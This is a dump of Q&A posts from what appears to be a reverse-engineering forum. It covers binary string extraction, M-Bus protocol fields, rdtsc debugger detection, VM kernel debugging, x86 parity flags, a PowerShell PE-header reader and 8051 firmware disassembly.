  <row Id="11352" PostTypeId="1" CreationDate="2015-11-18T13:34:54.267" Score="0" ViewCount="123" Body="&lt;p&gt;I am playing with &lt;a href=&quot;http://clinical.netforum.healthcare.philips.com/us_en/Explore/Clinical-News/MRI/Philips-DICOM-Viewer-download-version-R30-SP3&quot; rel=&quot;nofollow noreferrer&quot;&gt;Philips DICOM Viewer - download version R3.0 SP3&lt;/a&gt;. This viewer can display DICOM information (press &lt;code&gt;F9&lt;/code&gt;). Since the displayed strings are not stored in the DICOM file itself, I suspect they are stored somewhere in the binary (standalone binary, no extra DLL loaded):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nLfPF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nLfPF.png&quot; alt=&quot;Screenshot of DICOM Information&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I could not find it using &lt;code&gt;strings&lt;/code&gt; and or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -M -X -e PmsDView.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Followed by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep -r Manufacturer _PmsDView.exe.extracted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ find _PmsDView.exe.extracted/ -exec strings -n 12 -e l {} \; | grep Manufacturer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I picked &lt;code&gt;Manufacturer&lt;/code&gt; since this is one of the longer string. Also I only used &lt;code&gt;-e s&lt;/code&gt; and &lt;code&gt;-e l&lt;/code&gt; as they make the more sense (eg: &lt;code&gt;strings -e l PmsDView.exe&lt;/code&gt; and &lt;code&gt;strings -e s PmsDView.exe&lt;/code&gt;). I've run &lt;code&gt;-e b&lt;/code&gt;, &lt;code&gt;-e B&lt;/code&gt; and &lt;code&gt;-e L&lt;/code&gt; but they did not return anything.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2015-11-19T08:15:10.180" LastActivityDate="2015-11-19T08:15:10.180" Title="Locate compressed section of executable" Tags="|binary-analysis|encryption|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11356" PostTypeId="2" ParentId="10662" CreationDate="2015-11-19T13:52:48.747" Score="4" Body="&lt;p&gt;You can also use &lt;a href=&quot;https://sark.readthedocs.io/en/latest/api/Code-Blocks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sark&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import sark&#xA;code_block = sark.CodeBlock(some_ea)&#xA;code_block.color = 0x00ff0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Disclaimer: I am the author of Sark.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="245" LastEditDate="2023-03-23T11:09:32.870" LastActivityDate="2023-03-23T11:09:32.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11361" PostTypeId="1" AcceptedAnswerId="11366" CreationDate="2015-11-19T22:43:39.773" Score="1" ViewCount="371" Body="&lt;p&gt;I'm currently in the middle of trying to decode the communication of an hydrometer. Thanks to a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11348/reverse-engineering-an-hydrometers-bluetooth-communication&quot;&gt;previous question&lt;/a&gt; made in this site I was able to find a &lt;a href=&quot;http://www.diehl.com/fileadmin/diehl-metering/dlc/Water/HYDRUS_CommunicationDescription_EN.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF&lt;/a&gt; describing the communication of a different hydrometer from the same company. I suspect the type of communication is equal or similar for both products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand I first need to define the response I want to have by sending a 10 bytes frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5ioHG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ioHG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then request a response with a 5 bytes frame:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p02BK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p02BK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By checking the appendix 1, I choose, for application reset byte, the value &quot;0x00&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KaoSh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KaoSh.png&quot; alt=&quot;Application reset&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know the meaning of the bytes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;C-field&lt;/li&gt;&#xA;&lt;li&gt;Address&lt;/li&gt;&#xA;&lt;li&gt;Cl-field&lt;/li&gt;&#xA;&lt;li&gt;Checksum&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Even without knowing the meaning of those fields, I tried defining and requesting a response, but I'm struggling to interpret the data, probably because I don't know the meaning of DIF and VIF columns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jBVWh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jBVWh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summing up, by any chance could I get an explanation of the fields:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;C-field&lt;/li&gt;&#xA;&lt;li&gt;Address&lt;/li&gt;&#xA;&lt;li&gt;CL-field&lt;/li&gt;&#xA;&lt;li&gt;checksum&lt;/li&gt;&#xA;&lt;li&gt;DIF&lt;/li&gt;&#xA;&lt;li&gt;VIF&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14178" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-11-20T15:25:40.807" Title="Understanding decoding communications over interfaces" Tags="|encryption|serial-communication|encodings|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11362" PostTypeId="2" ParentId="11325" CreationDate="2015-11-20T02:06:01.423" Score="0" Body="&lt;p&gt;If you have the patience to sort the output, try running the file through the &lt;a href=&quot;https://sourceware.org/binutils/docs/binutils/strings.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/a&gt; utility (if you're on Linux or Mac, it's probably already installed, just type &lt;code&gt;strings --version&lt;/code&gt; in the terminal to test it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tool is not super fancy, so it will print a lot of junk together with any other text strings found. If you're certain the text you're looking for is there, it shouldn't take too long to manually sort through the output and find it.&lt;/p&gt;&#xA;" OwnerUserId="10153" LastActivityDate="2015-11-20T02:06:01.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11364" PostTypeId="1" CreationDate="2015-11-20T10:00:56.440" Score="0" ViewCount="2307" Body="&lt;p&gt;I am reading Eldad Eilam's book titled Reversing. In Chapter 11: Breaking Protections, there is a crackme called Defender, which creates a dedicated thread, which repeats the following steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Invokes `rdtsc` and saves the time-stamp counter (`t1`)&#xA;2. Relinquishes the CPU&#xA;3. Invokes `rdtsc` again, from the result (`t2`) subtracts the previous value: `dt=t2-t1`&#xA;4. If `dt` is greater than some hardcoded value, terminates; otherwise goes to 1.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The goal is to detect if the process is stopped in a debugger. Is the idea behind this method the fact that after hitting a breakpoint all threads will be stopped? Because as far as I know this can be prevented in &lt;code&gt;gdb&lt;/code&gt; by issuing &lt;code&gt;set pagination off&lt;/code&gt; and &lt;code&gt;set non-stop on&lt;/code&gt;. Or is there something I am missing?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2015-11-22T11:04:56.023" Title="Detecting debugger with `rdtsc`" Tags="|gdb|anti-debugging|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11365" PostTypeId="2" ParentId="11364" CreationDate="2015-11-20T11:12:06.010" Score="-1" Body="&lt;p&gt;the idea behind rdtsc instr is to detect if the process is single stepped&#xA;not stopped in the debugger.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2015-11-20T11:12:06.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11366" PostTypeId="2" ParentId="11361" CreationDate="2015-11-20T15:25:40.807" Score="2" Body="&lt;p&gt;A comment in your previous question pointed out that your hydrometer likely uses the M-Bus or Meter-Bus protocol, and your fields in question are all thoroughly explained in the &lt;a href=&quot;http://www.m-bus.com/files/MBDOC48.PDF&quot; rel=&quot;nofollow&quot;&gt;documentation of said protocol (PDF)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C-Field is the control field and defines what function is being performed (page 23 of the above PDF). It is an 8-bit value where the lowest 4 bits determine the type of transfer (e.g., long frame, data request, etc.) and the highest 4 bits serve as control flags for various operations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address determines which device you're talking to. The M-Bus protocol specifies a master/slave setup where one device can talk to many connected devices on the same local network. This is necessary because it's used in metering applications where a single controller might want to be able to query data from and send data to a large number of interconnected devices. In your case, the documentation uses an address of 0xFD or 253 which specifies that the address is handled on the network layer (which makes sense given you are communicating over Bluetooth). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CI[sic] field is the &quot;Control Information&quot; field; it communicates which type of data is being transmitted (page 31 of the above PDF). The example you posted uses a CI of 0x50, which indicates an application reset. The following byte specifies the &quot;type&quot; of reset requested, with 0x00 representing a full application-layer reset. When reset, it appears that the device responds with its relevant parameters as specified in your posted image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The checksum is used to verify the integrity of the transmitted or received data. These are fairly standard in serial communication protocols and generally straightforward to calculate. Calculating the M-Bus checksum requires adding up the raw values of the fields in the frame starting from the C-field and ending after the transmitted data (though this depends on the type and length of the frame, so for short frames, some fields may not be relevant). This calculation, as well as code to calculate it, are easily found with a cursory search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DIF and VIF stand for Data Information Field and Value Information Field. The DIF tells you what type of data you got (so from the Diehl PDF you posted, 0xC corresponds to volume, 0xB to flow rate, etc.) The VIF gives units and multiplier so that you can tell what units the specific parameters are in (e.g., liters, m&lt;sup&gt;3&lt;/sup&gt;, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that you take a look at that PDF, as it is very thorough in explaining the protocol and comes directly from the source of the protocol itself.&lt;/p&gt;&#xA;" OwnerUserId="13386" LastActivityDate="2015-11-20T15:25:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11367" PostTypeId="1" AcceptedAnswerId="11382" CreationDate="2015-11-20T15:57:04.183" Score="3" ViewCount="1737" Body="&lt;p&gt;i want to do kernel debugging on my vm from another vm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is pretty simple,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugged - VM&lt;/strong&gt;:&#xA;Windows XP SP3 x32 (To be debugged)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugger - VM&lt;/strong&gt;: &#xA;Windows 7 SP1 x64 (With Windbg installed - the Debugger)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the pipe configuration is pretty simple as well..&#xA;both ends should be set as &lt;code&gt;The other end is a virtual machine&lt;/code&gt;, and on the XP VM i set the pipe as &lt;code&gt;This end is the server&lt;/code&gt; and on the Win7 vm i set &lt;code&gt;This end is the client&lt;/code&gt;. Im using &lt;strong&gt;Vmware Workstation 10.0.3&lt;/strong&gt; btw..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i did setup my XP vm correctly because i can debug it from the host easily - configuring &lt;code&gt;The other end is an application&lt;/code&gt; and connecting it with Windbg from my host computer (Win7 x64) and its working properly. So i know there is no problem with my Win-XP setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But doing the same thing from the other vm, nothing happens. I looked through the internet and i even followed tutorials that explained exactly what i already did.&#xA;I have no idea what i'm missing and i feel pretty helpless so i came asking here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any ideas what is the problem with my setup?&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="11510" LastEditDate="2015-11-21T16:03:29.987" LastActivityDate="2015-11-22T11:34:28.347" Title="Kernel debugging between two virtual machines not working" Tags="|windows|debugging|windbg|kernel-mode|virtual-machines|" AnswerCount="1" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="11368" PostTypeId="2" ParentId="11325" CreationDate="2015-11-20T16:06:54.700" Score="2" Body="&lt;p&gt;I Know IDA-PRO has some good plugins to find &lt;code&gt;Crypt&lt;/code&gt; algorithms such as AES, DES, Triple DES and others..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as cryptography algorithms, it can find Hashing algorithms as well as MD5, this is pretty easy because the MD5 algorithm has couple of static intiatiors which are easy to look for in the memory (&lt;code&gt;0x67452301&lt;/code&gt; &lt;code&gt;0xefcdab89&lt;/code&gt;, &lt;code&gt;0x98badcfe&lt;/code&gt;, &lt;code&gt;0x10325476&lt;/code&gt;). Anyways i would open up the SharedObject in IDA pro, look for the MD5 algorithm, and then look for the string attached to the sent data as a salting mechanism. So if ill have to put the reversing technique into steps it would be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the MD5 hash function&lt;/li&gt;&#xA;&lt;li&gt;Look for the function calling the MD5 function, and with what parameters (One of the parameters should be the data to hash - The data containing the MagicString)&lt;/li&gt;&#xA;&lt;li&gt;If you still dont know which part of the string is the MagicString, Try understanding what changed the current string and added the Salting MagicString&#xA;i would look for strcat variants&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2015-11-20T16:06:54.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11369" PostTypeId="1" AcceptedAnswerId="11370" CreationDate="2015-11-20T20:23:55.697" Score="1" ViewCount="481" Body="&lt;p&gt;Could you please explain how the &lt;code&gt;INC&lt;/code&gt; x86 assembly instruction is affecting the Parity Flag (PF)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401413 mov     edi, offset user_id ; user_id at memory location 0x40D020&#xA;...&#xA;.text:00401421 inc     edi                 ; edi = 0x40D021&#xA;...&#xA;.text:0040142D inc     edi&#xA;.text:0040142E jnp     short no_parity&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With user_id defined as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.bss:0040D020 user_id         db 21h dup(?)&#xA;.bss:0040D042                 db    ? ;&#xA;.bss:0040D043                 db    ? ;&#xA;.bss:0040D044                 db    ? ;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At offset &lt;code&gt;0x40142D&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; r edi&#xA;edi=0040d021&#xA;0:000&amp;gt; dd 40d021&#xA;0040d021  4f4f4f4f 4f4f4f4f 4f4f4f4f 4f4f4f4f&#xA;0040d031  4f4f4f4f 4f4f4f4f 4f4f4f4f 004f4f4f&#xA;0040d041  00000000 00000000 00000000 00000000&#xA;0040d051  00000000 00000000 00000000 00000000&#xA;0040d061  00000000 00000000 00000000 00000000&#xA;0040d071  00000000 00000000 00000000 00000000&#xA;0040d081  00000000 ff000000 01000000 01000000&#xA;0040d091  02000000 00000000 01000000 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If my understanding of the parity flag is correct, it should apply to the low 8 bits: &lt;code&gt;01001111&lt;/code&gt; because:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;edi = 0x4f4f4f4f = 0b1001111010011110100111101001111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number of &lt;code&gt;1&lt;/code&gt; in &lt;code&gt;01001111&lt;/code&gt; is odd (five &lt;code&gt;1&lt;/code&gt;), which should set the PF to &lt;code&gt;1&lt;/code&gt;. But this is not the case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; r pf&#xA;pf=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which leads to the jump not to be taken at offset &lt;code&gt;0x40142E&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="13001" LastEditorUserId="13001" LastEditDate="2015-11-21T07:47:46.803" LastActivityDate="2015-11-21T07:47:46.803" Title="How does the INC instruction affect the parity flag?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11370" PostTypeId="2" ParentId="11369" CreationDate="2015-11-20T23:01:48.900" Score="1" Body="&lt;p&gt;The parity flags is &quot;Set if the least-significant byte of the result contains an even number of 1 bits; cleared otherwise.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: section 3.4.3.1 of &lt;a href=&quot;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-manual-325462.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;edi = 0x0040d021 =&amp;gt; least significant byte = 0x21&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x21 = 0b00100001 = 2 bits set = even number of bits sets =&amp;gt; PF set&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It's not clear if the value you give for edi is before or after the &lt;code&gt;inc&lt;/code&gt;.  If it's before then after the &lt;code&gt;inc&lt;/code&gt; edi will equal &lt;code&gt;0x0040d022&lt;/code&gt;, which still has 2 bits set.)&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2015-11-20T23:07:54.217" LastActivityDate="2015-11-20T23:07:54.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11371" PostTypeId="1" CreationDate="2015-11-21T09:04:52.550" Score="1" ViewCount="358" Body="&lt;p&gt;I've just recently finished a C++ class at my university, and I'm curious about game-modding/reverse engineering. My ultimate goal is to add features that were missing from the latest version of a video game that were present in the previous version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest installment is on PC while the previous installment is on PS2. I already have the discs and am able to view the files from both games.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* Is reverse-engineering the way to go? Is code-injection the better route? How would I go about doing this? *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to programming, so I'm aware that this project won't be accomplished overnight. This project is my ultimate goal and I'm interested in learning a lot of coding techniques along the way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL:DR - I want to add a color-edit mode and the option to listen to a 2nd set of music when playing a PC game (that was present in the PS2 version). What's the best way to approach this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT: The game I'm referring to is fighting game called &quot;The King of Fighters 98: Ultimate Match&quot; on PS2, and &quot;The King of Fighters 98: Ultimate Match: Final Edition&quot; on Windows (Steam). The games are made by SNK Playmore.&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the Japanese company was going bankrupt, they ported over the crappy Xbox Live Arcade version of the game to Steam without the extras form the PS2. I would like to add said extras to the Windows version.&lt;/p&gt;&#xA;" OwnerUserId="14207" LastEditorUserId="14207" LastEditDate="2015-11-22T01:09:29.257" LastActivityDate="2015-11-25T16:55:40.417" Title="Adding Features to a Released PC Game" Tags="|windows|c++|unpacking|injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11373" PostTypeId="2" ParentId="6040" CreationDate="2015-11-21T11:37:02.943" Score="3" Body="&lt;p&gt;dumping the contents of ST3's answer into a powershell snippet in a ready to use format &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($args.Count -eq 0) { &quot;provide a file name or path to file&quot;;exit }&#xA;if((test-path -path $args) -ne $true) { &quot;file doesnt seem to exist&quot; ; exit }&#xA;$fs = New-Object IO.Filestream($args , [Io.FileMode]::Open)&#xA;$br = New-Object IO.BinaryReader($fs)&#xA;if($br.Readchar()-ne'M'){&quot;no mz&quot;;exit};if($br.Readchar()-ne'Z'){&quot;no mz&quot;;exit}&#xA;$fs.Seek(0x3c,[IO.SeekOrigin]::Begin) | Out-Null&#xA;$elfaw_new = $br.ReadUInt32();&#xA;$peheader=$fs.Seek($elfaw_new,[IO.SeekOrigin]::Begin) &#xA;if($br.Readchar()-ne'P'){&quot;no pe&quot;;exit};if($br.Readchar()-ne'E'){&quot;no pe&quot;;exit}&#xA;$mctypeoff = $fs.seek($peheader+4,[IO.SeekOrigin]::Begin)&#xA;$mctype= $br.ReadUInt16()&#xA;switch($mctype) {&#xA;  0x0000 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Unknown machine type&quot;}&#xA;  0x01d3 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Matsushita AM33&quot;}&#xA;  0x8664 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;x64&quot;}&#xA;  0x01c0 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;ARM little endian&quot;}&#xA;  0x01c4 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;ARMv7 (or higher) Thumb mode only&quot;}&#xA;  0xaa64 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;ARMv8 in 64-bit mode&quot;}&#xA;  0x0ebc { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;EFI byte code&quot;}&#xA;  0x014c { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Intel 386 or later family processors&quot;}&#xA;  0x0200 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Intel Itanium processor family&quot;}&#xA;  0x9041 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Mitsubishi M32R little endian&quot;}&#xA;  0x0266 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;MIPS16&quot;}&#xA;  0x0366 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;MIPS with FPU&quot;}&#xA;  0x0466 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;MIPS16 with FPU&quot;}&#xA;  0x01f0 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Power PC little endian&quot;}&#xA;  0x01f1 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Power PC with floating point support&quot;}&#xA;  0x0166 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;MIPS little endian&quot;}&#xA;  0x01a2 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Hitachi SH3&quot;}&#xA;  0x01a3 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Hitachi SH3 DSP&quot;}&#xA;  0x01a6 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Hitachi SH4&quot;}&#xA;  0x01a8 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;Hitachi SH5&quot;}&#xA;  0x01c2 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;ARM or Thumb (`“interworking`”)&quot;}&#xA;  0x0169 { &quot;{0:x4} {1}&quot; -f  $mctype , &quot;MIPS little-endian WCE v2&quot;}&#xA;};$fs.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;usage as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;powershell -f binstreamtest.ps1&#xA;provide a file name or path to file&#xA;&#xA;:\&amp;gt;powershell -f binstreamtest.ps1 1&#xA;file doesnt seem to exist&#xA;&#xA;:\&amp;gt;powershell -f binstreamtest.ps1 shell32.dll&#xA;014c Intel 386 or later family processors&#xA;&#xA;:\&amp;gt;powershell -f binstreamtest.ps1 c:\WINDOWS\system32\ntkrnlpa.exe&#xA;014c Intel 386 or later family processors&#xA;&#xA;:\&amp;gt;powershell -f binstreamtest.ps1 xxx\test32.exe&#xA;014c Intel 386 or later family processors&#xA;&#xA;:\&amp;gt;powershell -f binstreamtest.ps1 xxx\test64.exe&#xA;8664 x64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-11-21T11:37:02.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11374" PostTypeId="2" ParentId="11347" CreationDate="2015-11-21T15:21:43.163" Score="5" Body="&lt;p&gt;Here's what I found and how I found it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Finding strings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, I examined the strings within the file to determine the type and model of equipment.  I did that visually, with a text editor (&lt;code&gt;vim&lt;/code&gt;) after I had converted the file back to plain binary using &lt;code&gt;xxd&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Learning more about the device&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once I did that, I looked for images which show the inside of this product.  I found a few, which seemed to show that it's not much different than the usual 5-port unmanaged hub, with what appears to be a single Ethernet switch controller IC.  Unfortunately, the heatsink was still attached to the top of the chip of interest in the photos I found, so I tried a different approach.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Process of elimination&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are maybe a dozen or so different vendors of Ethernet switch controllers, so I started searching for the prefixes of some of them within the binary image.  Jackpot!  I found the following strings: RTL8376B and RTL8367N.  Looking up the latter, the &lt;a href=&quot;http://www.realtek.com/products/productsView.aspx?Langid=1&amp;amp;PNid=18&amp;amp;PFid=15&amp;amp;Level=5&amp;amp;Conn=4&amp;amp;ProdID=333&quot; rel=&quot;noreferrer&quot;&gt;manufacturer's web site&lt;/a&gt; confirms that it is indeed a 5-port controller and that it contains an &quot;Integrated 8051 microprocessor.&quot; &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Sample dump&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Starting at offset 0x29200 which in your file, (chosen because it looked like it might be code and not data) I used &lt;code&gt;d52&lt;/code&gt; to disassemble. An extract of the result is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    org 0&#xA;;&#xA;    mov r5,#0c2h&#xA;    mov dptr,#X3744&#xA;    lcall   X2445&#xA;    lcall   X2007&#xA;    xrl a,#1&#xA;    jz  X0012&#xA;    ljmp    X547d&#xA;;&#xA;X0012:  clr c&#xA;    mov r1,24h&#xA;    ajmp    X00c3&#xA;;&#xA;    cjne    r1,#0c3h,Xffbe&#xA;    addc    a,r2&#xA;    clr c&#xA;    cjne    r2,#12h,X003f&#xA;    inc @r1&#xA;    clr c&#xA;    cjne    r7,#0c3h,Xffa8&#xA;    rrc a&#xA;    rrc a&#xA;    anl a,#3&#xA;    jb  0c0h.3,Xffcb&#xA;    rr  a&#xA;    ljmp    X547d&#xA;;&#xA;    clr c&#xA;X0030:  mov r7,54h&#xA;    addc    a,r7&#xA;    clr c&#xA;    cjne    r7,#64h,X0039&#xA;    jz  X0041&#xA;X0039:  clr c&#xA;    mov r7,64h&#xA;    ajmp    X0060&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For those familiar with 8051 programming, this is very plausible looking code, so it is indeed an 8051 derivative.  Good luck!&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2015-11-21T15:21:43.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
